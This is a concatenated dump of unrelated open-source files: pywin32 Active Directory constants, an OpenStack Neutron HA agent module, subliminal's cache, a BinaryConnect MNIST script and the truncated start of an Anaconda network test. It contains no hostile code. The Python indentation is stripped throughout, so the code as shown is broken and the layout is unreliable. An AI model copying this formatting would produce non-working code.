NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED = ( 1 << 4 )
NTDSSETTINGS_OPT_IS_GROUP_CACHING_ENABLED = ( 1 << 5 )
NTDSSETTINGS_OPT_FORCE_KCC_WHISTLER_BEHAVIOR = ( 1 << 6 )
NTDSSETTINGS_OPT_FORCE_KCC_W2K_ELECTION = ( 1 << 7 )
NTDSSETTINGS_OPT_IS_RAND_BH_SELECTION_DISABLED = ( 1 << 8 )
NTDSSETTINGS_OPT_IS_SCHEDULE_HASHING_ENABLED = ( 1 << 9 )
NTDSSETTINGS_OPT_IS_REDUNDANT_SERVER_TOPOLOGY_ENABLED = ( 1 << 10 )
NTDSSETTINGS_DEFAULT_SERVER_REDUNDANCY = 2
NTDSTRANSPORT_OPT_IGNORE_SCHEDULES = ( 1 << 0 )
NTDSTRANSPORT_OPT_BRIDGES_REQUIRED = (1 << 1 )
NTDSSITECONN_OPT_USE_NOTIFY = ( 1 << 0 )
NTDSSITECONN_OPT_TWOWAY_SYNC = ( 1 << 1 )
NTDSSITECONN_OPT_DISABLE_COMPRESSION = ( 1 << 2 )
NTDSSITELINK_OPT_USE_NOTIFY = ( 1 << 0 )
NTDSSITELINK_OPT_TWOWAY_SYNC = ( 1 << 1 )
NTDSSITELINK_OPT_DISABLE_COMPRESSION = ( 1 << 2 )
GUID_USERS_CONTAINER_A = "a9d1ca15768811d1aded00c04fd8d5cd"
GUID_COMPUTRS_CONTAINER_A = "aa312825768811d1aded00c04fd8d5cd"
GUID_SYSTEMS_CONTAINER_A = "ab1d30f3768811d1aded00c04fd8d5cd"
GUID_DOMAIN_CONTROLLERS_CONTAINER_A = "a361b2ffffd211d1aa4b00c04fd7d83a"
GUID_INFRASTRUCTURE_CONTAINER_A = "2fbac1870ade11d297c400c04fd8d5cd"
GUID_DELETED_OBJECTS_CONTAINER_A = "18e2ea80684f11d2b9aa00c04f79f805"
GUID_LOSTANDFOUND_CONTAINER_A = "ab8153b7768811d1aded00c04fd8d5cd"
GUID_FOREIGNSECURITYPRINCIPALS_CONTAINER_A = "22b70c67d56e4efb91e9300fca3dc1aa"
GUID_PROGRAM_DATA_CONTAINER_A = "09460c08ae1e4a4ea0f64aee7daa1e5a"
GUID_MICROSOFT_PROGRAM_DATA_CONTAINER_A = "f4be92a4c777485e878e9421d53087db"
GUID_NTDS_QUOTAS_CONTAINER_A = "6227f0af1fc2410d8e3bb10615bb5b0f"
GUID_USERS_CONTAINER_BYTE = "\xa9\xd1\xca\x15\x76\x88\x11\xd1\xad\xed\x00\xc0\x4f\xd8\xd5\xcd"
GUID_COMPUTRS_CONTAINER_BYTE = "\xaa\x31\x28\x25\x76\x88\x11\xd1\xad\xed\x00\xc0\x4f\xd8\xd5\xcd"
GUID_SYSTEMS_CONTAINER_BYTE = "\xab\x1d\x30\xf3\x76\x88\x11\xd1\xad\xed\x00\xc0\x4f\xd8\xd5\xcd"
GUID_DOMAIN_CONTROLLERS_CONTAINER_BYTE = "\xa3\x61\xb2\xff\xff\xd2\x11\xd1\xaa\x4b\x00\xc0\x4f\xd7\xd8\x3a"
GUID_INFRASTRUCTURE_CONTAINER_BYTE = "\x2f\xba\xc1\x87\x0a\xde\x11\xd2\x97\xc4\x00\xc0\x4f\xd8\xd5\xcd"
GUID_DELETED_OBJECTS_CONTAINER_BYTE = "\x18\xe2\xea\x80\x68\x4f\x11\xd2\xb9\xaa\x00\xc0\x4f\x79\xf8\x05"
GUID_LOSTANDFOUND_CONTAINER_BYTE = "\xab\x81\x53\xb7\x76\x88\x11\xd1\xad\xed\x00\xc0\x4f\xd8\xd5\xcd"
GUID_FOREIGNSECURITYPRINCIPALS_CONTAINER_BYTE = "\x22\xb7\x0c\x67\xd5\x6e\x4e\xfb\x91\xe9\x30\x0f\xca\x3d\xc1\xaa"
GUID_PROGRAM_DATA_CONTAINER_BYTE = "\x09\x46\x0c\x08\xae\x1e\x4a\x4e\xa0\xf6\x4a\xee\x7d\xaa\x1e\x5a"
GUID_MICROSOFT_PROGRAM_DATA_CONTAINER_BYTE = "\xf4\xbe\x92\xa4\xc7\x77\x48\x5e\x87\x8e\x94\x21\xd5\x30\x87\xdb"
GUID_NTDS_QUOTAS_CONTAINER_BYTE = "\x62\x27\xf0\xaf\x1f\xc2\x41\x0d\x8e\x3b\xb1\x06\x15\xbb\x5b\x0f"
DS_REPSYNCALL_NO_OPTIONS = 0x00000000
DS_REPSYNCALL_ABORT_IF_SERVER_UNAVAILABLE = 0x00000001
DS_REPSYNCALL_SYNC_ADJACENT_SERVERS_ONLY = 0x00000002
DS_REPSYNCALL_ID_SERVERS_BY_DN = 0x00000004
DS_REPSYNCALL_DO_NOT_SYNC = 0x00000008
DS_REPSYNCALL_SKIP_INITIAL_CHECK = 0x00000010
DS_REPSYNCALL_PUSH_CHANGES_OUTWARD = 0x00000020
DS_REPSYNCALL_CROSS_SITE_BOUNDARIES = 0x00000040
DS_LIST_DSA_OBJECT_FOR_SERVER = 0
DS_LIST_DNS_HOST_NAME_FOR_SERVER = 1
DS_LIST_ACCOUNT_OBJECT_FOR_SERVER = 2
DS_ROLE_SCHEMA_OWNER = 0
DS_ROLE_DOMAIN_OWNER = 1
DS_ROLE_PDC_OWNER = 2
DS_ROLE_RID_OWNER = 3
DS_ROLE_INFRASTRUCTURE_OWNER = 4
DS_SCHEMA_GUID_NOT_FOUND = 0
DS_SCHEMA_GUID_ATTR = 1
DS_SCHEMA_GUID_ATTR_SET = 2
DS_SCHEMA_GUID_CLASS = 3
DS_SCHEMA_GUID_CONTROL_RIGHT = 4
DS_KCC_FLAG_ASYNC_OP = (1 << 0)
DS_KCC_FLAG_DAMPED = (1 << 1)
DS_EXIST_ADVISORY_MODE = (0x1)
DS_REPL_INFO_FLAG_IMPROVE_LINKED_ATTRS = (0x00000001)
DS_REPL_NBR_WRITEABLE = (0x00000010)
DS_REPL_NBR_SYNC_ON_STARTUP = (0x00000020)
DS_REPL_NBR_DO_SCHEDULED_SYNCS = (0x00000040)
DS_REPL_NBR_USE_ASYNC_INTERSITE_TRANSPORT = (0x00000080)
DS_REPL_NBR_TWO_WAY_SYNC = (0x00000200)
DS_REPL_NBR_RETURN_OBJECT_PARENTS = (0x00000800)
DS_REPL_NBR_FULL_SYNC_IN_PROGRESS = (0x00010000)
DS_REPL_NBR_FULL_SYNC_NEXT_PACKET = (0x00020000)
DS_REPL_NBR_NEVER_SYNCED = (0x00200000)
DS_REPL_NBR_PREEMPTED = (0x01000000)
DS_REPL_NBR_IGNORE_CHANGE_NOTIFICATIONS = (0x04000000)
DS_REPL_NBR_DISABLE_SCHEDULED_SYNC = (0x08000000)
DS_REPL_NBR_COMPRESS_CHANGES = (0x10000000)
DS_REPL_NBR_NO_CHANGE_NOTIFICATIONS = (0x20000000)
DS_REPL_NBR_PARTIAL_ATTRIBUTE_SET = (0x40000000)
DS_REPL_NBR_MODIFIABLE_MASK = \
( \
DS_REPL_NBR_SYNC_ON_STARTUP | \
DS_REPL_NBR_DO_SCHEDULED_SYNCS | \
DS_REPL_NBR_TWO_WAY_SYNC | \
DS_REPL_NBR_IGNORE_CHANGE_NOTIFICATIONS | \
DS_REPL_NBR_DISABLE_SCHEDULED_SYNC | \
DS_REPL_NBR_COMPRESS_CHANGES | \
DS_REPL_NBR_NO_CHANGE_NOTIFICATIONS \
)
# from enum DS_NAME_FORMAT
DS_UNKNOWN_NAME = 0
DS_FQDN_1779_NAME = 1
DS_NT4_ACCOUNT_NAME = 2
DS_DISPLAY_NAME = 3
DS_UNIQUE_ID_NAME = 6
DS_CANONICAL_NAME = 7
DS_USER_PRINCIPAL_NAME = 8
DS_CANONICAL_NAME_EX = 9
DS_SERVICE_PRINCIPAL_NAME = 10
DS_SID_OR_SID_HISTORY_NAME = 11
DS_DNS_DOMAIN_NAME = 12
DS_DOMAIN_SIMPLE_NAME = DS_USER_PRINCIPAL_NAME
DS_ENTERPRISE_SIMPLE_NAME = DS_USER_PRINCIPAL_NAME
# from enum DS_NAME_FLAGS
DS_NAME_NO_FLAGS = 0x0
DS_NAME_FLAG_SYNTACTICAL_ONLY = 0x1
DS_NAME_FLAG_EVAL_AT_DC = 0x2
DS_NAME_FLAG_GCVERIFY = 0x4
DS_NAME_FLAG_TRUST_REFERRAL = 0x8
# from enum DS_NAME_ERROR
DS_NAME_NO_ERROR = 0
DS_NAME_ERROR_RESOLVING = 1
DS_NAME_ERROR_NOT_FOUND = 2
DS_NAME_ERROR_NOT_UNIQUE = 3
DS_NAME_ERROR_NO_MAPPING = 4
DS_NAME_ERROR_DOMAIN_ONLY = 5
DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 6
DS_NAME_ERROR_TRUST_REFERRAL = 7
# from enum DS_SPN_NAME_TYPE
DS_SPN_DNS_HOST = 0
DS_SPN_DN_HOST = 1
DS_SPN_NB_HOST = 2
DS_SPN_DOMAIN = 3
DS_SPN_NB_DOMAIN = 4
DS_SPN_SERVICE = 5
# from enum DS_SPN_WRITE_OP
DS_SPN_ADD_SPN_OP = 0
DS_SPN_REPLACE_SPN_OP = 1
DS_SPN_DELETE_SPN_OP = 2
# Generated by h2py from DsGetDC.h
DS_FORCE_REDISCOVERY = 0x00000001
DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010
DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020
DS_GC_SERVER_REQUIRED = 0x00000040
DS_PDC_REQUIRED = 0x00000080
DS_BACKGROUND_ONLY = 0x00000100
DS_IP_REQUIRED = 0x00000200
DS_KDC_REQUIRED = 0x00000400
DS_TIMESERV_REQUIRED = 0x00000800
DS_WRITABLE_REQUIRED = 0x00001000
DS_GOOD_TIMESERV_PREFERRED = 0x00002000
DS_AVOID_SELF = 0x00004000
DS_ONLY_LDAP_NEEDED = 0x00008000
DS_IS_FLAT_NAME = 0x00010000
DS_IS_DNS_NAME = 0x00020000
DS_RETURN_DNS_NAME = 0x40000000
DS_RETURN_FLAT_NAME = (-2147483648)
DSGETDC_VALID_FLAGS = ( \
DS_FORCE_REDISCOVERY | \
DS_DIRECTORY_SERVICE_REQUIRED | \
DS_DIRECTORY_SERVICE_PREFERRED | \
DS_GC_SERVER_REQUIRED | \
DS_PDC_REQUIRED | \
DS_BACKGROUND_ONLY | \
DS_IP_REQUIRED | \
DS_KDC_REQUIRED | \
DS_TIMESERV_REQUIRED | \
DS_WRITABLE_REQUIRED | \
DS_GOOD_TIMESERV_PREFERRED | \
DS_AVOID_SELF | \
DS_ONLY_LDAP_NEEDED | \
DS_IS_FLAT_NAME | \
DS_IS_DNS_NAME | \
DS_RETURN_FLAT_NAME | \
DS_RETURN_DNS_NAME )
DS_INET_ADDRESS = 1
DS_NETBIOS_ADDRESS = 2
DS_PDC_FLAG = 0x00000001
DS_GC_FLAG = 0x00000004
DS_LDAP_FLAG = 0x00000008
DS_DS_FLAG = 0x00000010
DS_KDC_FLAG = 0x00000020
DS_TIMESERV_FLAG = 0x00000040
DS_CLOSEST_FLAG = 0x00000080
DS_WRITABLE_FLAG = 0x00000100
DS_GOOD_TIMESERV_FLAG = 0x00000200
DS_NDNC_FLAG = 0x00000400
DS_PING_FLAGS = 0x0000FFFF
DS_DNS_CONTROLLER_FLAG = 0x20000000
DS_DNS_DOMAIN_FLAG = 0x40000000
DS_DNS_FOREST_FLAG = (-2147483648)
DS_DOMAIN_IN_FOREST = 0x0001
DS_DOMAIN_DIRECT_OUTBOUND = 0x0002
DS_DOMAIN_TREE_ROOT = 0x0004
DS_DOMAIN_PRIMARY = 0x0008
DS_DOMAIN_NATIVE_MODE = 0x0010
DS_DOMAIN_DIRECT_INBOUND = 0x0020
DS_DOMAIN_VALID_FLAGS = ( \
DS_DOMAIN_IN_FOREST | \
DS_DOMAIN_DIRECT_OUTBOUND | \
DS_DOMAIN_TREE_ROOT | \
DS_DOMAIN_PRIMARY | \
DS_DOMAIN_NATIVE_MODE | \
DS_DOMAIN_DIRECT_INBOUND )
DS_GFTI_UPDATE_TDO = 0x1
DS_GFTI_VALID_FLAGS = 0x1
DS_ONLY_DO_SITE_NAME = 0x01
DS_NOTIFY_AFTER_SITE_RECORDS = 0x02
DS_OPEN_VALID_OPTION_FLAGS = ( DS_ONLY_DO_SITE_NAME | DS_NOTIFY_AFTER_SITE_RECORDS )
DS_OPEN_VALID_FLAGS = ( \
DS_FORCE_REDISCOVERY | \
DS_ONLY_LDAP_NEEDED | \
DS_KDC_REQUIRED | \
DS_PDC_REQUIRED | \
DS_GC_SERVER_REQUIRED | \
DS_WRITABLE_REQUIRED )
## from aclui.h
# SI_OBJECT_INFO.dwFlags
SI_EDIT_PERMS = 0x00000000L
SI_EDIT_OWNER = 0x00000001L
SI_EDIT_AUDITS = 0x00000002L
SI_CONTAINER = 0x00000004L
SI_READONLY = 0x00000008L
SI_ADVANCED = 0x00000010L
SI_RESET = 0x00000020L
SI_OWNER_READONLY = 0x00000040L
SI_EDIT_PROPERTIES = 0x00000080L
SI_OWNER_RECURSE = 0x00000100L
SI_NO_ACL_PROTECT = 0x00000200L
SI_NO_TREE_APPLY = 0x00000400L
SI_PAGE_TITLE = 0x00000800L
SI_SERVER_IS_DC = 0x00001000L
SI_RESET_DACL_TREE = 0x00004000L
SI_RESET_SACL_TREE = 0x00008000L
SI_OBJECT_GUID = 0x00010000L
SI_EDIT_EFFECTIVE = 0x00020000L
SI_RESET_DACL = 0x00040000L
SI_RESET_SACL = 0x00080000L
SI_RESET_OWNER = 0x00100000L
SI_NO_ADDITIONAL_PERMISSION = 0x00200000L
SI_MAY_WRITE = 0x10000000L
SI_EDIT_ALL = (SI_EDIT_PERMS | SI_EDIT_OWNER | SI_EDIT_AUDITS)
SI_AUDITS_ELEVATION_REQUIRED = 0x02000000L
SI_VIEW_ONLY = 0x00400000L
SI_OWNER_ELEVATION_REQUIRED = 0x04000000L
SI_PERMS_ELEVATION_REQUIRED = 0x01000000L
# SI_ACCESS.dwFlags
SI_ACCESS_SPECIFIC = 0x00010000L
SI_ACCESS_GENERAL = 0x00020000L
SI_ACCESS_CONTAINER = 0x00040000L
SI_ACCESS_PROPERTY = 0x00080000L
# SI_PAGE_TYPE enum
SI_PAGE_PERM = 0
SI_PAGE_ADVPERM = 1
SI_PAGE_AUDIT = 2
SI_PAGE_OWNER = 3
SI_PAGE_EFFECTIVE =4
CFSTR_ACLUI_SID_INFO_LIST = u"CFSTR_ACLUI_SID_INFO_LIST"
PSPCB_SI_INITDIALOG = 1025 ## WM_USER+1
| apache-2.0 |
shakamunyi/neutron | neutron/agent/l3/ha.py | 7 | 6166 | # Copyright (c) 2014 OpenStack Foundation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import eventlet
from oslo_config import cfg
from oslo_log import log as logging
import webob
from neutron.agent.linux import keepalived
from neutron.agent.linux import utils as agent_utils
from neutron.i18n import _LI
from neutron.notifiers import batch_notifier
LOG = logging.getLogger(__name__)
KEEPALIVED_STATE_CHANGE_SERVER_BACKLOG = 4096
OPTS = [
cfg.StrOpt('ha_confs_path',
default='$state_path/ha_confs',
help=_('Location to store keepalived/conntrackd '
'config files')),
cfg.StrOpt('ha_vrrp_auth_type',
default='PASS',
choices=keepalived.VALID_AUTH_TYPES,
help=_('VRRP authentication type')),
cfg.StrOpt('ha_vrrp_auth_password',
help=_('VRRP authentication password'),
secret=True),
cfg.IntOpt('ha_vrrp_advert_int',
default=2,
help=_('The advertisement interval in seconds')),
]
class KeepalivedStateChangeHandler(object):
def __init__(self, agent):
self.agent = agent
@webob.dec.wsgify(RequestClass=webob.Request)
def __call__(self, req):
router_id = req.headers['X-Neutron-Router-Id']
state = req.headers['X-Neutron-State']
self.enqueue(router_id, state)
def enqueue(self, router_id, state):
LOG.debug('Handling notification for router '
'%(router_id)s, state %(state)s', {'router_id': router_id,
'state': state})
self.agent.enqueue_state_change(router_id, state)
class L3AgentKeepalivedStateChangeServer(object):
def __init__(self, agent, conf):
self.agent = agent
self.conf = conf
agent_utils.ensure_directory_exists_without_file(
self.get_keepalived_state_change_socket_path(self.conf))
@classmethod
def get_keepalived_state_change_socket_path(cls, conf):
return os.path.join(conf.state_path, 'keepalived-state-change')
def run(self):
server = agent_utils.UnixDomainWSGIServer(
'neutron-keepalived-state-change')
server.start(KeepalivedStateChangeHandler(self.agent),
self.get_keepalived_state_change_socket_path(self.conf),
workers=0,
backlog=KEEPALIVED_STATE_CHANGE_SERVER_BACKLOG)
server.wait()
class AgentMixin(object):
def __init__(self, host):
self._init_ha_conf_path()
super(AgentMixin, self).__init__(host)
self.state_change_notifier = batch_notifier.BatchNotifier(
self._calculate_batch_duration(), self.notify_server)
eventlet.spawn(self._start_keepalived_notifications_server)
def _start_keepalived_notifications_server(self):
state_change_server = (
L3AgentKeepalivedStateChangeServer(self, self.conf))
state_change_server.run()
def _calculate_batch_duration(self):
# Slave becomes the master after not hearing from it 3 times
detection_time = self.conf.ha_vrrp_advert_int * 3
# Keepalived takes a couple of seconds to configure the VIPs
configuration_time = 2
# Give it enough slack to batch all events due to the same failure
return (detection_time + configuration_time) * 2
def enqueue_state_change(self, router_id, state):
LOG.info(_LI('Router %(router_id)s transitioned to %(state)s'),
{'router_id': router_id,
'state': state})
try:
ri = self.router_info[router_id]
except AttributeError:
LOG.info(_LI('Router %s is not managed by this agent. It was '
'possibly deleted concurrently.'), router_id)
return
self._update_metadata_proxy(ri, router_id, state)
self._update_radvd_daemon(ri, state)
self.state_change_notifier.queue_event((router_id, state))
def _update_metadata_proxy(self, ri, router_id, state):
if state == 'master':
LOG.debug('Spawning metadata proxy for router %s', router_id)
self.metadata_driver.spawn_monitored_metadata_proxy(
self.process_monitor, ri.ns_name, self.conf.metadata_port,
self.conf, router_id=ri.router_id)
else:
LOG.debug('Closing metadata proxy for router %s', router_id)
self.metadata_driver.destroy_monitored_metadata_proxy(
self.process_monitor, ri.router_id, ri.ns_name, self.conf)
def _update_radvd_daemon(self, ri, state):
# Radvd has to be spawned only on the Master HA Router. If there are
# any state transitions, we enable/disable radvd accordingly.
if state == 'master':
ri.enable_radvd()
else:
ri.disable_radvd()
def notify_server(self, batched_events):
translation_map = {'master': 'active',
'backup': 'standby',
'fault': 'standby'}
translated_states = dict((router_id, translation_map[state]) for
router_id, state in batched_events)
LOG.debug('Updating server with HA routers states %s',
translated_states)
self.plugin_rpc.update_ha_routers_states(
self.context, translated_states)
def _init_ha_conf_path(self):
ha_full_path = os.path.dirname("/%s/" % self.conf.ha_confs_path)
agent_utils.ensure_dir(ha_full_path)
| apache-2.0 |
RAtechntukan/Sick-Beard | lib/subliminal/cache.py | 59 | 4623 | # -*- coding: utf-8 -*-
# Copyright 2012 Nicolas Wack <wackou@gmail.com>
#
# This file is part of subliminal.
#
# subliminal is free software; you can redistribute it and/or modify it under
# the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# subliminal is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with subliminal. If not, see <http://www.gnu.org/licenses/>.
from collections import defaultdict
from functools import wraps
import logging
import os.path
import threading
try:
import cPickle as pickle
except ImportError:
import pickle
__all__ = ['Cache', 'cachedmethod']
logger = logging.getLogger("subliminal")
class Cache(object):
"""A Cache object contains cached values for methods. It can have
separate internal caches, one for each service
"""
def __init__(self, cache_dir):
self.cache_dir = cache_dir
self.cache = defaultdict(dict)
self.lock = threading.RLock()
def __del__(self):
for service_name in self.cache:
self.save(service_name)
def cache_location(self, service_name):
return os.path.join(self.cache_dir, 'subliminal_%s.cache' % service_name)
def load(self, service_name):
with self.lock:
if service_name in self.cache:
# already loaded
return
self.cache[service_name] = defaultdict(dict)
filename = self.cache_location(service_name)
logger.debug(u'Cache: loading cache from %s' % filename)
try:
self.cache[service_name] = pickle.load(open(filename, 'rb'))
except IOError:
logger.info('Cache: Cache file "%s" doesn\'t exist, creating it' % filename)
except EOFError:
logger.error('Cache: cache file "%s" is corrupted... Removing it.' % filename)
os.remove(filename)
def save(self, service_name):
filename = self.cache_location(service_name)
logger.debug(u'Cache: saving cache to %s' % filename)
with self.lock:
pickle.dump(self.cache[service_name], open(filename, 'wb'))
def clear(self, service_name):
try:
os.remove(self.cache_location(service_name))
except OSError:
pass
self.cache[service_name] = defaultdict(dict)
def cached_func_key(self, func, cls=None):
try:
cls = func.im_class
except:
pass
return ('%s.%s' % (cls.__module__, cls.__name__), func.__name__)
def function_cache(self, service_name, func):
func_key = self.cached_func_key(func)
return self.cache[service_name][func_key]
def cache_for(self, service_name, func, args, result):
# no need to lock here, dict ops are atomic
self.function_cache(service_name, func)[args] = result
def cached_value(self, service_name, func, args):
"""Raises KeyError if not found"""
# no need to lock here, dict ops are atomic
return self.function_cache(service_name, func)[args]
def cachedmethod(function):
"""Decorator to make a method use the cache.
.. note::
This can NOT be used with static functions, it has to be used on
methods of some class
"""
@wraps(function)
def cached(*args):
c = args[0].config.cache
service_name = args[0].__class__.__name__
func_key = c.cached_func_key(function, cls=args[0].__class__)
func_cache = c.cache[service_name][func_key]
# we need to remove the first element of args for the key, as it is the
# instance pointer and we don't want the cache to know which instance
# called it, it is shared among all instances of the same class
key = args[1:]
if key in func_cache:
result = func_cache[key]
logger.debug(u'Using cached value for %s(%s), returns: %s' % (func_key, key, result))
return result
result = function(*args)
# note: another thread could have already cached a value in the
# meantime, but that's ok as we prefer to keep the latest value in
# the cache
func_cache[key] = result
return result
return cached
| gpl-3.0 |
hantek/BinaryConnect | mnist.py | 1 | 6258 | # Copyright 2015 Matthieu Courbariaux, Zhouhan Lin
"""
This file is adapted from BinaryConnect:
https://github.com/MatthieuCourbariaux/BinaryConnect
Running this script should reproduce the results of a feed forward net trained
on MNIST.
To train a vanilla feed forward net with ordinary backprop:
1. type "git checkout fullresolution" to switch to the "fullresolution" branch
2. execute "python mnist.py"
To train a feed forward net with Binary Connect + quantized backprop:
1. type "git checkout binary" to switch to the "binary" branch
2. execute "python mnist.py"
To train a feed forward net with Ternary Connect + quantized backprop:
1. type "git checkout ternary" to switch to the "ternary" branch
2. execute "python mnist.py"
"""
import gzip
import cPickle
import numpy as np
import os
import os.path
import sys
import time
from trainer import Trainer
from model import Network
from layer import linear_layer, ReLU_layer
from pylearn2.datasets.mnist import MNIST
from pylearn2.utils import serial
if __name__ == "__main__":
rng = np.random.RandomState(1234)
train_set_size = 50000
# data augmentation
zero_pad = 0
affine_transform_a = 0
affine_transform_b = 0
horizontal_flip = False
# batch
# keep a multiple a factor of 10000 if possible
# 10000 = (2*5)^4
batch_size = 200
number_of_batches_on_gpu = train_set_size/batch_size
BN = True
BN_epsilon=1e-4 # for numerical stability
BN_fast_eval= True
dropout_input = 1.
dropout_hidden = 1.
shuffle_examples = True
shuffle_batches = False
# Termination criteria
n_epoch = 1000
monitor_step = 2
# LR
LR = .3
LR_fin = .01
LR_decay = (LR_fin/LR)**(1./n_epoch)
M= 0.
# architecture
n_inputs = 784
n_units = 1024
n_classes = 10
n_hidden_layer = 3
# BinaryConnect
BinaryConnect = True
stochastic = True
# Old hyperparameters
binary_training=False
stochastic_training=False
binary_test=False
stochastic_test=False
if BinaryConnect == True:
binary_training=True
if stochastic == True:
stochastic_training=True
else:
binary_test=True
print 'Loading the dataset'
train_set = MNIST(which_set= 'train', start=0, stop = train_set_size, center = True)
valid_set = MNIST(which_set= 'train', start=50000, stop = 60000, center = True)
test_set = MNIST(which_set= 'test', center = True)
# bc01 format
train_set.X = train_set.X.reshape(train_set_size,1,28,28)
valid_set.X = valid_set.X.reshape(10000,1,28,28)
test_set.X = test_set.X.reshape(10000,1,28,28)
# flatten targets
train_set.y = np.hstack(train_set.y)
valid_set.y = np.hstack(valid_set.y)
test_set.y = np.hstack(test_set.y)
# Onehot the targets
train_set.y = np.float32(np.eye(10)[train_set.y])
valid_set.y = np.float32(np.eye(10)[valid_set.y])
test_set.y = np.float32(np.eye(10)[test_set.y])
# for hinge loss
train_set.y = 2* train_set.y - 1.
valid_set.y = 2* valid_set.y - 1.
test_set.y = 2* test_set.y - 1.
print 'Creating the model'
class PI_MNIST_model(Network):
def __init__(self, rng):
Network.__init__(self, n_hidden_layer = n_hidden_layer, BN = BN)
print " Fully connected layer 1:"
self.layer.append(ReLU_layer(rng = rng, n_inputs = n_inputs, n_units = n_units,
BN = BN, BN_epsilon=BN_epsilon, dropout=dropout_input,
binary_training=binary_training, stochastic_training=stochastic_training,
binary_test=binary_test, stochastic_test=stochastic_test))
for k in range(n_hidden_layer-1):
print " Fully connected layer "+ str(k) +":"
self.layer.append(ReLU_layer(rng = rng, n_inputs = n_units, n_units = n_units,
BN = BN, BN_epsilon=BN_epsilon, dropout=dropout_hidden,
binary_training=binary_training, stochastic_training=stochastic_training,
binary_test=binary_test, stochastic_test=stochastic_test))
print " L2 SVM layer:"
self.layer.append(linear_layer(rng = rng, n_inputs = n_units, n_units = n_classes,
BN = BN, BN_epsilon=BN_epsilon, dropout=dropout_hidden,
binary_training=binary_training, stochastic_training=stochastic_training,
binary_test=binary_test, stochastic_test=stochastic_test))
model = PI_MNIST_model(rng = rng)
print 'Creating the trainer'
trainer = Trainer(rng = rng,
train_set = train_set, valid_set = valid_set, test_set = test_set,
model = model, load_path = None, save_path = None,
zero_pad=zero_pad,
affine_transform_a=affine_transform_a, # a is (more or less) the rotations
affine_transform_b=affine_transform_b, # b is the translations
horizontal_flip=horizontal_flip,
LR = LR, LR_decay = LR_decay, LR_fin = LR_fin,
M = M,
BN = BN, BN_fast_eval=BN_fast_eval,
batch_size = batch_size, number_of_batches_on_gpu = number_of_batches_on_gpu,
n_epoch = n_epoch, monitor_step = monitor_step,
shuffle_batches = shuffle_batches, shuffle_examples = shuffle_examples)
print 'Building'
trainer.build()
print 'Training'
start_time = time.clock()
trainer.train()
end_time = time.clock()
print 'The training took %i seconds'%(end_time - start_time)
print 'Display weights'
import matplotlib.pyplot as plt
import matplotlib.cm as cm
from filter_plot import tile_raster_images
W = np.transpose(model.layer[0].W.get_value())
W = tile_raster_images(W,(28,28),(4,4),(2, 2))
plt.imshow(W, cmap = cm.Greys_r)
plt.savefig(core_path + '_features.png')
| gpl-2.0 |
sgallagher/anaconda | tests/nosetests/pyanaconda_tests/module_network_test.py | 1 | 68731 | #
# Copyright (C) 2018 Red Hat, Inc.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# the GNU General Public License v.2, or (at your option) any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY expressed or implied, including the implied warranties of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details. You should have received a copy of the
# GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA. Any Red Hat trademarks that are incorporated in the
# source code or documentation are not subject to the GNU General Public
# License and may only be used or replicated with the express permission of
# Red Hat, Inc.
#
# Red Hat Author(s): Radek Vykydal <rvykydal@redhat.com>
#
import unittest
import tempfile
import os
import shutil
from textwrap import dedent
from unittest.mock import patch, Mock
from tests.nosetests.pyanaconda_tests import patch_dbus_publish_object, check_dbus_property, \
check_kickstart_interface, check_task_creation, PropertiesChangedCallback
from pyanaconda.core.constants import FIREWALL_DEFAULT, FIREWALL_ENABLED, \
FIREWALL_DISABLED, FIREWALL_USE_SYSTEM_DEFAULTS
from pyanaconda.modules.common.constants.services import NETWORK
from pyanaconda.modules.common.constants.objects import FIREWALL
from pyanaconda.modules.common.errors.installation import FirewallConfigurationError, \
NetworkInstallationError
from pyanaconda.modules.network.network import NetworkService
from pyanaconda.modules.network.network_interface import NetworkInterface
from pyanaconda.modules.network.constants import FirewallMode
from pyanaconda.modules.network.installation import NetworkInstallationTask, \
ConfigureActivationOnBootTask, HostnameConfigurationTask
from pyanaconda.modules.network.firewall.firewall import FirewallModule
from pyanaconda.modules.network.firewall.firewall_interface import FirewallInterface
from pyanaconda.modules.network.firewall.installation import ConfigureFirewallTask
from pyanaconda.modules.network.kickstart import DEFAULT_DEVICE_SPECIFICATION
from dasbus.typing import * # pylint: disable=wildcard-import
from pyanaconda.modules.network.initialization import ApplyKickstartTask, \
SetRealOnbootValuesFromKickstartTask, DumpMissingIfcfgFilesTask, \
ConsolidateInitramfsConnectionsTask
import gi
gi.require_version("NM", "1.0")
from gi.repository import NM
class MockedNMClient():
def __init__(self):
self.state = NM.State.DISCONNECTED
self.state_callback = None
def _connect_state_changed(self, callback):
self.state_callback = callback
def _set_state(self, state):
self.state = state
self.state_callback(state)
def get_state(self):
return self.state
class NetworkInterfaceTestCase(unittest.TestCase):
"""Test DBus interface for the Network module."""
def setUp(self):
"""Set up the network module."""
# Set up the network module.
self.network_module = NetworkService()
self.network_interface = NetworkInterface(self.network_module)
# Connect to the properties changed signal.
self.callback = PropertiesChangedCallback()
self.network_interface.PropertiesChanged.connect(self.callback)
def kickstart_properties_test(self):
"""Test kickstart properties."""
self.assertEqual(self.network_interface.KickstartCommands, ["network", "firewall"])
self.assertEqual(self.network_interface.KickstartSections, [])
self.assertEqual(self.network_interface.KickstartAddons, [])
